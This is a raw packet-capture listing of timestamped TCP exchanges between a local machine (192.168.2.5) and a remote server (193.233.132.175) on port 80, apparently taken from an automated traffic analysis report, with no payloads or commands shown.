Apr 25, 2024 16:29:12.936039925 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.936054945 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.936091900 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.936131001 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.936142921 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.936177969 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.936217070 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.936233997 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.936364889 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.936378002 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.936403990 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.936429024 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.936454058 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.936517954 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.936532021 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.936561108 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.936566114 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.936593056 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.936609030 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.936624050 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.936626911 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.936646938 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.936650038 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.936666965 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.936686993 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.936697006 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.936737061 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.936772108 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.936817884 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.936847925 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.936918974 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.936983109 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.937045097 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.937105894 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.937118053 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.937202930 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.937244892 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.937246084 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.937277079 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.937278032 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.937320948 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.937349081 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.937362909 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.937374115 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.937386990 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.937407970 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.937432051 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.937438965 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.937499046 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.937515020 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.937539101 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.937557936 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.937570095 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.937609911 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.937638998 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.937810898 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.937860012 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.937967062 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.938013077 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.938056946 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.938075066 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.938102007 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.938143015 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.938147068 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.938179970 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.938186884 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.938220978 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.938235044 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.938261986 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.938275099 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.938297987 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.938354015 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.938359022 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.938405991 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.938472986 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.938510895 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.938545942 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.938612938 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.938678980 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.938692093 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.938704967 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.938716888 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.938739061 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.938774109 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.938803911 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.938813925 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.938844919 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.938859940 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.938891888 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.938930988 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.938968897 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.939028025 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.939043045 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.939069033 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.939085960 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.939116001 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.939116955 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.939150095 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.939188957 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.939204931 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.939227104 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.939260006 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.939264059 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.939301014 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.939306021 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.939351082 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.939352989 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.939377069 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.939384937 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.939420938 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.939424038 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.939461946 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.939501047 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.939516068 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.939532042 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.939554930 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.939569950 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.939589977 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.939596891 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.939610958 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.939624071 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.939642906 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.939667940 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.939680099 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.939706087 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.939721107 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.939737082 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.939757109 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.939757109 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.939771891 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.939794064 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.939826012 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.939843893 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.939876080 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.939886093 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.939889908 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.939903975 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.939918995 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.939940929 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.940032005 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.940046072 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.940095901 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.940105915 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.940134048 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.940150976 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.940187931 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.940192938 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.940207005 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.940241098 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.940346003 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.940382004 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.940382004 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.940408945 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.940416098 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.940454960 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.940464020 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.940500021 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.940505981 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.940526962 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.940541029 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.940553904 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.940558910 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.940581083 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.940603971 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.940618992 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.940632105 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.940634966 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.940712929 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.940726995 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.940737009 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.940737009 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.940740108 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.940757990 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.940789938 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.940808058 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.940844059 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.940927982 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.941214085 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.941271067 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.941337109 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.941375017 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.941410065 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.941447973 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.941462040 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.941476107 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.941497087 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.941513062 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.941528082 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.941555977 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.941560984 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.941591024 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.941659927 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.941699028 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.941701889 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.941750050 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.941760063 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.941801071 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.941807985 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.941850901 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.941853046 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.941893101 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.941903114 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.941932917 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.941932917 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.941976070 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.941992044 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.942006111 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.942044020 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.942056894 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.942105055 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.942141056 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.942147017 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.942176104 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.942183018 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.942212105 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.942217112 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.942245960 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.942245960 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.942285061 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.942313910 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.942341089 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.942349911 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.942353964 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.942380905 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.942392111 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.942404032 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.942425966 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.942442894 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.942456961 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.942480087 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.942482948 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.942512035 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.942558050 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.942595005 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.942634106 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.942662954 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.942781925 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.942831039 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.942831039 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.942881107 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.942919970 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.942975044 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.943041086 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.943084955 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.943098068 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.943149090 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.943162918 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.943178892 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.943196058 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.943208933 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.943243980 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.943254948 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.943310022 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.943351984 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.943392992 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.943408966 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.943423986 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.943443060 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.943459988 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.943469048 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.943500996 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.943506002 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.943552971 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.943591118 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.943603992 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.943665028 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.943679094 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.943727970 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.943788052 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.943842888 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.943888903 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.943916082 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.943933964 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.943934917 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.943960905 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.943969011 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.943986893 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.944005966 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.944037914 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.944046021 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.944080114 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.944123030 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.944144011 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.944178104 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.944292068 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.944334984 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.944385052 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.944403887 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.944422960 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.944439888 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.944468975 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.944477081 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.944566011 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.944607019 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.944624901 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.944638014 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.944652081 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.944674969 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.944684029 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.944705009 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.944721937 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.944744110 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.944756985 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.944770098 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.944813013 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.944861889 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.944895983 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.944931030 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.944976091 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.944984913 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.945035934 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.945086956 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.945103884 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.945122004 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.945163012 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.945215940 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.945230961 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.945281982 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.945326090 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.945328951 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.945367098 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.945382118 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.945441961 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.945486069 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.945496082 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.945559025 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.945596933 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.945597887 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.945646048 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.945682049 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.945693970 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.945710897 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.945743084 CEST	80	49709	193.233.132.175	192.168.2.5
